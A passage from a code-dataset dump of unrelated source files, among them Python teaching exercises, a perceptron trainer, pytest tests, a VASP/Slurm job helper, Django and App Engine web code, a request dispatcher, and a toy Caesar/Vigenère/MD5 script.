type.\na=5\nid(a)\n\n\n# In[4]:\n\n\na=10\nid(a)\n\n\n# In[8]:\n\n\n#Strings are of immutable data type.\nh=\"Arsh\"\nid(h)\n\n\n# In[6]:\n\n\nh=\"Arsh Saxena\"\nid(h)\n\n\n# In[2]:\n\n\nl=[\"Arsh\"]\nid(l)\n\n\n# In[3]:\n\n\nl.append(\"Saxena\")\nprint(l)\nid(l)\n\n\n# In[4]:\n\n\na=\"Arsh\"\nh=\"Arsh\"\nid(a)\n\n\n# In[6]:\n\n\nid(h)\n\n\n# In[8]:\n\n\nprint(a)\nprint(h)\nid(a)==id(h)\n\n\n# In[9]:\n\n\na=\"Arsh\"\nh=\"arsh\"\nid(a)\n\n\n# In[10]:\n\n\nid(h)\n\n\n# In[11]:\n\n\nid(a)==id(h)\n\n\n# In[16]:\n\n\n\"a\"==\"A\"\n\n","sub_path":"VMC Python/VMC Python - Class/VMC Python - Class 5.0/VMC Python - Class 5.2.py","file_name":"VMC Python - Class 5.2.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"428922361","text":"#6.\tEscreva um programa onde o usuário digita uma frase e essa frase retorna sem nenhuma vogal.\n\nfrase = input(\"Digite uma frase: \")\nconsoantes = []\ncont = 0\n\nfor item in frase:\n if item not in 'aeiou':\n consoantes.append(item)\n cont += 1\nprint(f'Consoantes:{consoantes}')\nprint(f'Quantidade:{cont}')","sub_path":"Aula 08 Exercicios/6.py","file_name":"6.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"162145144","text":"# Author: Xinshuo\n# Email: xinshuow@cs.cmu.edu\n\nimport numpy as np, matplotlib.pyplot as plt, os, copy\n\ndef load_2dmatrix_from_file(src_path, delimiter=' ', dtype='float32', debug=True):\n data = np.loadtxt(src_path, delimiter=delimiter, dtype=dtype)\n nrows = data.shape[0]\n return data, nrows\n\ndef sign_function(input_data):\n\t# assume the shape is n x 1\n\toutput = np.zeros(input_data.shape, dtype='float32')\n\toutput.fill(-1)\n\tpos_list = np.where(input_data[:, 0] >= 0)[0].tolist()\n\toutput[pos_list, 0] = 1\n\treturn output\n\ndef traineval_model(xtrain, ytrain, xtest, ytest, max_num_epoch):\n\tnum_train = xtrain.shape[0]\t\t\t\t# 1000 x 10\n\tnum_test = xtest.shape[0]\n\tW = np.zeros((10, 1), dtype='float32')\t\t# 10 x 1\n\tb = 0\n\tbest_accuracy = 0\n\tbest_W = None \n\tbest_b = None\n\t# accuracy_array = np.zeros((max_num_epoch, ), dtype='float32')\n\taccuracy_list = []\n\n\tfor epoch_index in range(max_num_epoch):\n\t\t# evaluate all training samples\n\t\tprediction_all = np.matmul(xtrain, W) + b\t\t\t# 1000 x 1\t\t\n\t\tprediction_all = sign_function(prediction_all).reshape((-1, ))\t\t# 1000\t\t\n\t\terror = prediction_all - ytrain\n\t\twrong_index = np.nonzero(error)[0]\n\t\tif len(wrong_index) <= 0: break\t\t\t# all training samples are correctly classified\n\t\t\n\t\t# iterating each sample individually\n\t\tfor iter_index in range(num_train):\n\t\t\tresult_tmp = ytrain[iter_index] * (np.matmul(xtrain[iter_index], W) + b)\n\t\t\tif result_tmp[0] <= 0:\n\t\t\t\t# print(xtrain[iter_index].transpose().shape)\n\t\t\t\tW = W + ytrain[iter_index] * xtrain[iter_index].transpose().reshape((-1, 1))\n\t\t\t\tb = b + ytrain[iter_index]\n\n\t\t# evaluate all testing samples\n\t\tprediction_all = np.matmul(xtest, W) + b\t\t\t# 1000 x 1\t\t\n\t\tprediction_all = sign_function(prediction_all).reshape((-1, ))\t\t# 1000\t\t\n\t\terror = prediction_all - ytest\n\t\twrong_index = np.nonzero(error)[0]\n\t\taccuracy = 1 - len(wrong_index) / float(num_test)\n\t\taccuracy_list.append(accuracy)\n\t\tprint('epoch: %d, accuracy is %f' % (epoch_index+1, accuracy))\n\n\t\tif accuracy > best_accuracy: \n\t\t\tbest_accuracy = copy.copy(accuracy)\n\t\t\tbest_W = copy.copy(W)\n\t\t\tbest_b = copy.copy(b)\n\t\t\tbest_epoch = copy.copy(epoch_index)\n\n\tprint('the model achieving the best accuracy has parameters below:')\n\tprint(best_accuracy)\n\tprint(best_W)\n\tprint(best_b)\n\tprint(best_epoch + 1)\n\n\tconverge_accuracy = copy.copy(accuracy)\n\tconverge_W = copy.copy(W)\n\tconverge_b = copy.copy(b)\n\tconverge_epoch = copy.copy(epoch_index)\n\t\n\tprint('the converged model has parameters below:')\n\tprint(converge_accuracy)\n\tprint(converge_W)\n\tprint(converge_b)\n\tprint(converge_epoch + 1)\t\n\n\tplt.plot(range(epoch_index+1), accuracy_list)\n\tplt.title('Testing accuracy over epochs', fontsize=20)\n\tplt.xlabel('Epochs', fontsize=16)\n\tplt.ylabel('Accuracy', fontsize=16)\n\tplt.savefig('testing_accuracy.eps', format='eps', dpi=800)\n\t# plt.show()\n\n\tplt.close()\n\ndef main():\n\txtrain_file = '../HW3_Q2_Data/Xtrain.txt'\n\tytrain_file = '../HW3_Q2_Data/ytrain.txt'\n\txtest_file = '../HW3_Q2_Data/Xtest.txt'\n\tytest_file = '../HW3_Q2_Data/ytest.txt'\n\n\txtrain, num_xtrain = load_2dmatrix_from_file(xtrain_file)\n\tytrain, num_ytrain = load_2dmatrix_from_file(ytrain_file)\n\txtest, num_xtest = load_2dmatrix_from_file(xtest_file)\n\tytest, num_ytest = load_2dmatrix_from_file(ytest_file)\n\n\tassert num_xtrain == num_ytrain, 'error'\n\tassert num_xtest == num_ytest, 'error'\n\tprint('number of training and testing data loaded are %d, %d' % (num_xtrain, num_xtest))\n\ttraineval_model(xtrain, ytrain, xtest, ytest, max_num_epoch=100)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"hw3/code/2_2.py","file_name":"2_2.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"100287978","text":"\"\"\"\nModule to run tests on SpecObjs\n\"\"\"\nimport os\n\nimport numpy as np\nimport pytest\n\nfrom pypeit import msgs\nfrom pypeit import specobjs\nfrom pypeit import specobj\nmsgs.reset(verbosity=2)\n\n#def data_path(filename):\n# data_dir = os.path.join(os.path.dirname(__file__), 'files')\n# return os.path.join(data_dir, filename)\n\nsobj1 = specobj.SpecObj('MultiSlit', 1, slitid=0)\nsobj2 = specobj.SpecObj('MultiSlit', 1, slitid=1)\nsobj3 = specobj.SpecObj('MultiSlit', 1, slitid=2)\n\n\ndef test_init():\n \"\"\" Run the parameter setup script\n \"\"\"\n # Null\n sobjs1 = specobjs.SpecObjs()\n\n # With a few objs\n sobjs2 = specobjs.SpecObjs([sobj1,sobj2])\n assert sobjs2.nobj == 2\n\n\ndef test_access():\n sobjs = specobjs.SpecObjs([sobj1,sobj2])\n #\n assert sobjs[0]['PYPELINE'] == 'MultiSlit'\n assert len(sobjs['PYPELINE']) == 2\n\ndef test_add_rm():\n sobjs = specobjs.SpecObjs([sobj1,sobj2])\n sobjs.add_sobj(sobj3)\n assert sobjs.nobj == 3\n # Remove\n sobjs.remove_sobj(2)\n assert len(sobjs.specobjs) == 2\n\n # Numpy 18\n sobjs1 = specobjs.SpecObjs()\n sobjs2 = specobjs.SpecObjs()\n sobjs2.add_sobj(sobjs1)\n\ndef test_set():\n sobjs = specobjs.SpecObjs([sobj1,sobj2,sobj3])\n # All\n sobjs.DET = 3\n assert np.all(sobjs[:].DET == np.array([3,3,3]))\n sobjs[:].DET = 4\n assert np.all(sobjs[:].DET == np.array([4,4,4]))\n # Slice\n sobjs[1:2].DET = 2\n assert sobjs.DET[1] == 2\n # With logic\n det2 = sobjs.DET == 2\n sobjs[det2].PYPELINE = 'BLAH'\n assert sobjs.PYPELINE[1] == 'BLAH'\n assert sobjs.PYPELINE[0] == 'MultiSlit'\n\n","sub_path":"pypeit/tests/test_specobjs.py","file_name":"test_specobjs.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"449827340","text":"import subprocess\nimport ase, ase.io\nfrom codebase.toolkit.utils import POTCAR_PATH, LIB_PATH, periodic_table_lookup, template\n\n# ----------------------------------------------------------------------------------------------------------------------\n\ndef to_vasp(d, struct):\n \"\"\"Writes INCAR, POSCAR4, KPOINTS, POTCAR. Copies CHGCAR/WAVECAR.\n\n Parameters\n ----------\n d : D # 材料相关,求值模式,简化近似,辅助行为\n hidden: {'hidden'} # 不写入 INCAR\n kpoints: ['template', ...] # KPOINTS 模板\n psi0|rho0|rho = 0|path # 迭代初始值\n struct : Struct\n \"\"\"\n with open(\"INCAR\", \"w\") as file:\n for k, v in d.items():\n if k not in d['hidden']:\n file.write(\"{k} = {v}\\n\")\n #\n atoms = ase.Atoms(symbols=struct.XS.S, positions=struct.XS[['X', 'Y', 'Z']], cell=struct.A)\n ase.io.write(\"POSCAR\", images=atoms, format=\"vasp\")\n #\n template(i = f\"{LIB_PATH}/KPOINTS.{d['kpoints'][0]}\", o = \"KPOINTS\", d = d)\n #\n for symbol in struct.stoichiometry:\n potcar = POTCAR_PATH + periodic_table_lookup(symbol, \"pot\") + \"/POTCAR\"\n subprocess.run(f\"cat {potcar} >> POTCAR\", shell=True)\n #\n for path in [d[k] for k in ['rho', 'rho0', 'phi0'] if k in d]:\n subprocess.run(f\"rsync -a -h --info=progress2 {path} .\", shell=True)\n\n# ----------------------------------------------------------------------------------------------------------------------\n\ndef to_slurm(d):\n \"\"\"\n Parameters\n ----------\n d: D\n software: 'vasp'\n cluster: 'nersc'\n \"\"\"\n template(i = f\"{LIB_PATH}/submit.{d['software']}.{d['cluster']}\", o = \"submit\", d = d)\n template(i = f\"{LIB_PATH}/job.{d['software']}.{d['cluster']}\", o = \"job\", d = d)\n\ndef submit():\n subprocess.run(\"bash submit\", shell=True)\n\ndef is_complete(d):\n template(i=f\"{LIB_PATH}/is_complete.{d['cluster']}\", o=\"is_complete\", d = d)\n return eval(subprocess.check_output(\"bash is_complete\", shell=True))\n\ndef retrieve(d):\n template(i=f\"{LIB_PATH}/retrieve.{d['cluster']}\", o=\"retrieve\", d = d)\n subprocess.run(\"bash retrieve\", shell=True)\n\nclass Pending(Exception):\n pass\n\ndef try_retrieve(d):\n \"\"\"For recursion.\n\n Raises\n ------\n Pending\n If `not is_complete()`.\n \"\"\"\n if is_complete(d):\n retrieve(d)\n else:\n raise Pending","sub_path":"codebase/toolkit/barebones/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"176500888","text":"import pandas as pd\n\nCATEGORICAL = 'CAT'\nNUMERIC = 'NUM'\nNOMINAL = 'NOM'\n\nBUSINESS_PREDICT = 'business_predict'\nBUSINESS_GROUP = 'business_group'\n\nRESULT_PREFIX = 'result_'\n\nDATA_BUSINESS_ALL = 'all_data'\nDATA_BUSINESS_TRAIN = 'train_data'\nDATA_BUSINESS_LABEL = 'label_data'\nDATA_BUSINESS_PREDICT = 'predict_data'\n\n\nCLS_XGBOOST = 'XGB'\nCLR_KMEANS = 'KM'\n\nINFO_CLUSTER_FEATURE_RANGE = '------------------各特征在各类的取值范围------------------'\nINFO_CLUSTER_FEATURE_BEST = '------------------最好的前N个特征------------------'\n\nINFO_CLASSIFIER_METRIC = '------------------分类预测的准确率------------------'\nINFO_CLASSIFIER_FEATURE_BEST = '------------------分类预测最重要特征------------------'\nINFO_CLASSIFIER_FEATURE_RST = '------------------分类预测结果------------------'\n\nINF = float(10000)\ndef externalLabel(path,delimeter):\n count = 0\n label = []\n with open(path) as data:\n for line in data:\n line = line.replace('\\r','').replace('\\n','')\n count += 1\n item = line.split(delimeter)\n label += [int(item[len(item)-1])]\n return label\ndef DATA_CHECK(data):\n assert isinstance(data,(pd.DataFrame)),'Data must be in type of DataFrame'\n\n\n#thyroid\n# ground_truth = [0 for i in range(0,149)]\n# ground_truth += [1 for i in range(150,184)]\n# ground_truth += [2 for i in range(185,214)]\n\n#wine\n# ground_truth = [0 for i in range(0,59)]\n# ground_truth += [1 for i in range(59,130)]\n# ground_truth += [2 for i in range(130,178)]\n\n#yeast\n#ground_truth = externalLabel('C:/Users/jzl/Desktop/YEAST',' ')\n\n#seeds\n#ground_truth = externalLabel('C:/Users/jzl/Desktop/SEEDS',',')\n\n#glass\n#ground_truth = externalLabel('C:/Users/jzl/Desktop/GLASS',',')\n\n#iris\n#ground_truth = externalLabel('C:/Users/jzl/Desktop/IRIS',',')\n\n#sonar\n#ground_truth = externalLabel('C:/Users/jzl/Desktop/SONAR',',')\n\n\nground_truth = []","sub_path":"Setting/Global.py","file_name":"Global.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"82235201","text":"from libraries import *\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\nDEFAULT_NAME = 'Default Location'\n\ndef locationKey(locationName = DEFAULT_NAME):\n # Constructs a Datastore key for a location.\n # locationName is the key.\n return ndb.Key('Location', locationName)\n\nclass LocationPage(webapp2.RequestHandler):\n def get(self):\n self.response.write('')\n locationName = self.request.get('locationName', DEFAULT_NAME)\n\n # Ancestor Queries, as shown here, are strongly consistent\n # with the High Replication Datastore. Queries that span\n # entity groups are eventually consistent. If we omitted the\n # ancestor from this query there would be a slight chance that\n # Greeting that had just been written would not show up in a\n # query.\n commentsQuery = Comment.query(ancestor = locationKey(locationName)).order(-Comment.date)\n comments = commentsQuery.fetch(100)\n locationQuery = Location.query(ancestor=ndb.Key('Location', 'base-data'))\n locationComments = locationQuery.fetch()\n\n # Get current user object and store in a var\n user = users.get_current_user()\n\n if user:\n url = users.create_logout_url(self.request.uri)\n url_linktext = 'Logout'\n\n else:\n url = users.create_login_url(self.request.uri)\n url_linktext = 'Login'\n\n templateValues = {\n 'user': user,\n 'comments': comments,\n 'locationName': urllib.unquote_plus(locationName),\n 'url': url,\n 'url_linktext': url_linktext,\n 'locations': [{'name':loc.name} for loc in Location.query().fetch()]\n }\n\n template = JINJA_ENVIRONMENT.get_template('/templates/location.html')\n self.response.write(template.render(templateValues))\n\nclass LocationComments(webapp2.RequestHandler):\n def post(self):\n locationName = self.request.get('locationName', DEFAULT_NAME)\n\n # By assigning the parent this assigns all comments of a particular Location to the same entity group\n # by setting the same parent for each comment. \n # Limited 1 write per second. (from Google Documentation)\n comment = Comment(parent = locationKey(locationName))\n\n if users.get_current_user():\n comment.commentor = Commentor(identity = users.get_current_user().user_id(), \n email = users.get_current_user().email())\n\n else:\n url = users.create_login_url(self.request.uri)\n url_linktext = 'Login'\n\n comment.body = self.request.get('body') # Store the body of the comment\n comment.put() # Write the comment obj to the datastore\n\n key = ndb.Key('Location', 'base-data')\n location = Location(parent = key)\n location.name = locationName\n location.put()\n\n queryParams = {'locationName': locationName}\n self.redirect('/?' + urllib.urlencode(queryParams))\n\n#class AddLocation():\n #def get(self):","sub_path":"howto/location.py","file_name":"location.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"20107381","text":"from django.contrib import admin\nfrom django.urls import path, include, re_path\nfrom django.views.static import serve\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\n\nschema_view = get_schema_view(\n openapi.Info(\n title=\"WouldYouCi API\",\n default_version='v1',\n description=\"우리 주변 씨네마 API\",\n contact=openapi.Contact(email=\"jay.hyundong@gmail.com\"),\n license=openapi.License(name=\"SSAFY License\"),\n ),\n)\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n\n path('user/', include('accounts.urls')),\n path('movie/', include('movies.urls')),\n path('cinema/', include('cinemas.urls')),\n path('search/', include('search.urls')),\n\n re_path(r'^media/(?P.*)$', serve, {'document_root': settings.MEDIA_ROOT}),\n re_path(r'^static/(?P.*)$', serve,{'document_root': settings.STATIC_ROOT}),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n urlpatterns += [\n path('swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),\n ]\n","sub_path":"wouldyouci_back/wouldyouci_back/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"603312067","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals, division, print_function, with_statement #Py2\n\nimport json\nimport os\nimport codecs\nimport cgi\nimport cStringIO\nimport logging\n\nfrom service.httperrs import *\nfrom service.speech import Speech\n\nLOG = logging.getLogger(\"APP.DISPATCHER\")\n\nclass Dispatch:\n\n def __init__(self, config_file):\n self._config_file = config_file\n self._config = {}\n self._modules = {}\n self._module_config = {}\n self._routing = {}\n self._speech = None\n\n def load(self):\n \"\"\"\n High-level services load\n \"\"\"\n LOG.info(\"Loading router...\")\n self.load_config()\n self.clear_routing()\n self.load_handlers()\n self._speech = Speech(self._config_file)\n self._speech.login()\n\n def _parse_module_name(self, module_handle):\n \"\"\"\n Parse class name -> path, python file, class name\n path.file.Class -> path, file, Class\n \"\"\"\n items = module_handle.split('.')\n class_name = items.pop()\n module_path = '.'.join(items)\n return module_path, class_name\n\n def load_config(self):\n \"\"\"\n Load config containing dispatch details\n \"\"\"\n self._config = {}\n with codecs.open(self._config_file, 'r', 'utf-8') as f:\n self._config = json.load(f)\n\n def clear_routing(self):\n \"\"\"\n Clear the routing table i.e. services redirecting\n \"\"\"\n if not self._routing:\n for handler in self._routing:\n del self._routing[handler]\n self._routing = {}\n\n def load_handlers(self):\n \"\"\"\n Load hooks to handlers\n \"\"\"\n for modu in self._config['MODULES']:\n path, name = self._parse_module_name(modu)\n _temp = __import__(path, fromlist=[name])\n self._modules[modu] = getattr(_temp, name)\n self._module_config[modu] = self._config['MODULES'][modu]\n\n for http_method in self._config['HANDLERS']:\n self._routing[http_method] = {}\n for uri in self._config['HANDLERS'][http_method]:\n modu, method = self._parse_module_name(self._config['HANDLERS'][http_method][uri]['method'])\n _data = {'module' : modu, 'method' : method, 'parameters' : self._config['HANDLERS'][http_method][uri]['parameters']}\n self._routing[http_method][uri] = _data\n\n LOG.debug(\"Router modules: {}\".format(self._modules))\n LOG.debug(\"Router module config: {}\".format(self._module_config))\n LOG.debug(\"Router table: {}\".format(self._routing))\n\n def get(self, env):\n \"\"\"\n Process GET request.\n Valid requests are: results, status, options\n \"\"\"\n data = {}\n if len(env['QUERY_STRING']) != 0:\n data = cgi.parse_qs(env['QUERY_STRING'])\n for key in data:\n data[key] = data[key][0]\n\n uri = env['PATH_INFO']\n if uri not in self._routing['GET']:\n try:\n modu_name = os.path.basename(os.path.dirname(uri))\n uri = os.path.basename(uri)\n modu = self._config[\"TEMPIO_MODULES\"][modu_name]\n module_hook = self._modules[modu]\n module_config = self._module_config[modu]\n module = module_hook(module_config, self._speech)\n return module.outgoing(uri)\n \n except MethodNotAllowedError:\n raise MethodNotAllowedError(\"GET does not support: {}\".format(uri))\n except Exception as e:\n raise Exception(str(e))\n else:\n for parameter in self._routing['GET'][uri]['parameters']:\n if parameter not in data:\n raise BadRequestError('missing parameter in request body: %s' % parameter)\n\n module_name = self._routing['GET'][uri]['module']\n module_config = self._module_config[module_name]\n module_hook = self._modules[module_name]\n\n module = module_hook(module_config, self._speech)\n method = getattr(module, self._routing['GET'][uri]['method'])\n\n dispatch_result = dict()\n result = method(data)\n if type(result) in [str, unicode]:\n dispatch_result[\"message\"] = result\n elif type(result) is dict:\n dispatch_result.update(result)\n else:\n raise Exception(\"Bad result type from service method\")\n return dispatch_result\n\n def post(self, env):\n uri = env['PATH_INFO']\n if uri not in self._routing['POST']:\n raise MethodNotAllowedError('POST does not support: %s' % uri)\n \n data = {}\n if 'multipart/form-data' not in env['CONTENT_TYPE']:\n data = json.loads(env['wsgi.input'].read(int(env['CONTENT_LENGTH'])))\n else:\n (header, bound) = env['CONTENT_TYPE'].split('boundary=')\n request_body_size = int(env.get('CONTENT_LENGTH', 0))\n request_body = env['wsgi.input'].read(request_body_size)\n form_raw = cgi.parse_multipart(cStringIO.StringIO(request_body), {'boundary': bound})\n for key in form_raw.keys():\n data[key] = form_raw[key][0]\n LOG.debug(\"Data keys: {}\".format(data.keys()))\n for parameter in self._routing['POST'][uri]['parameters']:\n if parameter not in data:\n raise BadRequestError('missing parameter in request body: %s' % parameter)\n\n module_name = self._routing['POST'][uri]['module']\n module_config = self._module_config[module_name]\n module_hook = self._modules[module_name]\n\n try:\n module = module_hook(module_config, self._speech)\n except TypeError as e:\n if \"__init__()\" in str(e):\n module = module_hook(module_config)\n else:\n raise\n method = getattr(module, self._routing['POST'][uri]['method'])\n dispatch_result = dict()\n result = method(data)\n if type(result) in [str, unicode]:\n dispatch_result[\"message\"] = result\n elif type(result) is dict:\n dispatch_result.update(result)\n else:\n raise Exception(\"Bad result type from service method\")\n return dispatch_result\n\n def put(self, env):\n \"\"\" Process PUT resquest.\n \"\"\"\n #DEMIT: Refactor the following block? Almost exact copy of \"post\" method.\n data = {}\n if 'multipart/form-data' not in env['CONTENT_TYPE']:\n data = json.loads(env['wsgi.input'].read(int(env['CONTENT_LENGTH'])))\n else:\n (header, bound) = env['CONTENT_TYPE'].split('boundary=')\n request_body_size = int(env.get('CONTENT_LENGTH', 0))\n request_body = env['wsgi.input'].read(request_body_size)\n form_raw = cgi.parse_multipart(cStringIO.StringIO(request_body), {'boundary': bound})\n for key in form_raw.keys():\n data[key] = form_raw[key][0]\n LOG.debug(\"Data keys: {}\".format(data.keys()))\n\n uri = env['PATH_INFO']\n if uri not in self._routing['PUT']:\n try:\n modu_name = os.path.basename(os.path.dirname(uri))\n uri = os.path.basename(uri)\n modu = self._config[\"TEMPIO_MODULES\"][modu_name]\n module_hook = self._modules[modu]\n module_config = self._module_config[modu]\n module = module_hook(module_config, self._speech)\n return module.incoming(uri, data)\n \n except MethodNotAllowedError:\n raise MethodNotAllowedError(\"PUT does not support: {}\".format(uri))\n except Exception as e:\n raise Exception(str(e))\n\n else:\n #DEMIT: Refactor the following blocks? Almost exact copy of \"post\" method.\n for parameter in self._routing['PUT'][uri]['parameters']:\n if parameter not in data:\n raise BadRequestError('missing parameter in request body: %s' % parameter)\n\n module_name = self._routing['PUT'][uri]['module']\n module_config = self._module_config[module_name]\n module_hook = self._modules[module_name]\n\n module = module_hook(module_config, self._speech)\n method = getattr(module, self._routing['PUT'][uri]['method'])\n dispatch_result = dict()\n result = method(data)\n if type(result) in [str, unicode]:\n dispatch_result[\"message\"] = result\n elif type(result) is dict:\n dispatch_result.update(result)\n else:\n raise Exception(\"Bad result type from service method\")\n return dispatch_result\n\n def shutdown(self):\n \"\"\"\n Shutdown\n \"\"\"\n self._speech.logout()\n\n","sub_path":"app_server/dispatcher.py","file_name":"dispatcher.py","file_ext":"py","file_size_in_byte":9020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"378154781","text":"#!/usr/bin/python\ndef Main():\n print(arg.help)\nimport classe\nimport argparse\nmenu = argparse.ArgumentParser(\"A cripto tool\")\nmenu.add_argument('--fc','--fc',action=\"store_true\",default=\"false\")\nmenu.add_argument('-sc','-sc',action=\"store_true\",default='false')\nmenu.add_argument('-k','-key',action=\"store\",type=int)\nmenu.add_argument('-dc','-dc',action=\"store\")\nmenu.add_argument('--md','--md',action=\"store_true\",default='false')\nmenu.add_argument('--fv','-fv',action=\"store_true\",default='false')\nmenu.add_argument('--sv','-sv',action=\"store_true\",default='false')\nmenu.add_argument('--vdc','-vdc',action=\"store_true\",default=\"false\")\nmenu.add_argument('-cipher','-cipher',action=\"store\")\nmenu.add_argument('-md5','-md5',action=\"store\")\narg = menu.parse_args()\n\nif arg.fc == True:\n mensagem = input(\"Digite sua mensagem:\")\n cript = classe.neero(mensagem)\n cript.cript_caesar(arg.k)\nif arg.sc == True:\n decrypt = classe.neero(arg.dc)\n cript.decrypt_caesar(arg.k)\nif arg.fv == True:\n mensagem = input(\"Digite sua mensagem:\")\n cript = classe.neero(mensagem)\n cript.cript_vigenere(arg.cipher)\nif arg.sv == True:\n cript = classe.neero(arg.vdc)\n cript.decrypt_caesar(arg.cipher)\nif arg.md == True:\n cript = classe.neero(arg.md5)\n print(cript.cript_md5())\n","sub_path":"neerocripter.py","file_name":"neerocripter.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"599172749","text":"# encoding: utf-8\n\nfrom .compat import odict\nfrom .declarative import Container, Attribute\n\n\nclass Attributes(Container):\n\t\"\"\"Easily access the known declarative attributes of an object, preserving definition order.\"\"\"\n\t\n\tonly = Attribute(default=None) # Filter results based to instances of these.\n\t\n\tdef __get__(self, obj, cls=None):\n\t\t# make this into a view on top of obj.__attributes__\n\t\tif not obj:\n\t\t\tobj = cls\n\t\t\n\t\tif not self.only:\n\t\t\treturn obj.__attributes__.copy()\n\t\t\n\t\treturn odict((k, v) for k, v in obj.__attributes__.items() if isinstance(v, self.only))\n\n\ndef ensure_tuple(length, tuples):\n\t\"\"\"Yield `length`-sized tuples from the given collection.\n\t\n\tWill truncate longer tuples to the desired length, and pad using the leading element if shorter.\n\t\"\"\"\n\tfor elem in tuples:\n\t\tif not isinstance(elem, (tuple, list)):\n\t\t\tyield (elem, ) * length\n\t\t\tcontinue\n\t\t\n\t\tl = len(elem)\n\t\t\n\t\tif l == length:\n\t\t\tyield elem\n\t\t\n\t\telif l > length:\n\t\t\tyield tuple(elem[:length])\n\t\t\n\t\telif l < length:\n\t\t\tyield (elem[0], ) * (length - l) + tuple(elem)\n\n\n# Deprecated naming conventions; for legacy use only.\n\nDeclarativeAttributes = Attributes\n","sub_path":"marrow/schema/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"610955480","text":"import time\ntry:\n\n\tprint(''''Program to simple calculate to flight time to the moon\n\t\t\tType 666 to exit''')\n\n\t#initialize block\n\tdistance = 384403\n\texitProgram = 666\n\tcheck = True\n\n\t#input block\n\tfuel = int(input('Enter the fuel type: 1 = chemical (up to 11.2 km/s), 2 = nuclear (up to 25 km / s) '))\n\tv = int(input('Enter the approximate km/s speed of your rocket: '))\n\n\t#processing and output blocs\n\n\ttimeToMoon = time.strftime(\"%d:%H:%M:%S\", time.gmtime((distance / v) * 9))\n\n\tif ((fuel == 0) or (fuel < 0) or (fuel > 2)):\n\t\tprint('You din\\'t choice type rocket\\'s fuel, goodbye!')\n\t\tcheck = False\n\telif ((fuel == exitProgram) or (v == exitProgram)):\n\t\tprint('GoodBye!')\n\t\tcheck = False\n\telse:\n\t\tif (fuel == 1):\n\n\t\t\tprint('You chose chemical rocket fuel')\n\t\t\tif (v < 0):\n\t\t\t\tprint('There is no such speed!')\n\t\t\t\tcheck = False\n\t\t\telif(v == 0):\n\t\t\t\tprint('The Speed of rocket = ', v, 'We don\\'t flight now!' )\n\t\t\t\tcheck = False\n\t\t\telif ((v > 0) and (v < 8)):\n\t\t\t\t\tprint(F\"We can get off the Ground and then land.\")\n\t\t\telif ((v > 8) and (v <= 12)):\n\t\t\t\tprint(F\"The travel time in days will be {timeToMoon}\")\n\t\t\telif (v > 12):\n\t\t\t\tprint(F\"While such speeds are not possible!\")\n\n\t\telse:\n\t\t\tif (fuel == 2):\n\t\t\t\tprint('You chose nuclear rocket fuel')\n\t\t\tif (v < 0):\n\t\t\t\tprint('There is no such speed!')\n\t\t\t\tcheck = False\n\t\t\telif(v == 0):\n\t\t\t\tprint('The Speed of rocket = ', v, 'We don\\'t flight now!' )\n\t\t\t\tcheck = False\n\t\t\telif ((v > 0) and (v < 8)):\n\t\t\t\t\tprint(F\"We can get off the Ground and then land.\")\n\t\t\telif ((v > 8) and (v < 12)):\n\t\t\t\tprint(F\"The travel time in days will be {timeToMoon}\")\n\t\t\telif ((v > 12) and (v <= 25)):\n\t\t\t\tprint(F\"The travel time in days will be {timeToMoon}\")\n\t\t\telif (v > 25):\n\t\t\t\tprint(F\"While such speeds are not possible!\")\n\n\nexcept ValueError:\n print('We have some mistakes of userinput current value!')\nexcept TypeError:\n print('We have some mistakes of userinput current type!')\nexcept SystemError:\n\tprint('The system mistakes are found in this program')\n","sub_path":"fly_to_moon.py","file_name":"fly_to_moon.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"609165861","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Import Libraries\n\n# In[1]:\n\n\nimport datetime\n\nprint(\"Model execution started at:\" + datetime.datetime.today().ctime())\n\n# In[2]:\n\n\nimport src.dataset.dataset as dst\nimport src.dataset.dataloader as dl\nimport src.utils.utils as utils\nimport src.train.train_model as train\nimport src.visualization.plotdata as plotdata\nimport src.preprocessing.preprochelper as preprochelper\nfrom src.train.lrfinder.lrfinder import LRFinder\n\n# get_ipython().run_line_magic('config', 'IPCompleter.greedy=True')\n# get_ipython().run_line_magic('reload_ext', 'autoreload')\n#\n#\n# # In[3]:\n#\n#\n# get_ipython().run_line_magic('autoreload', '2 # 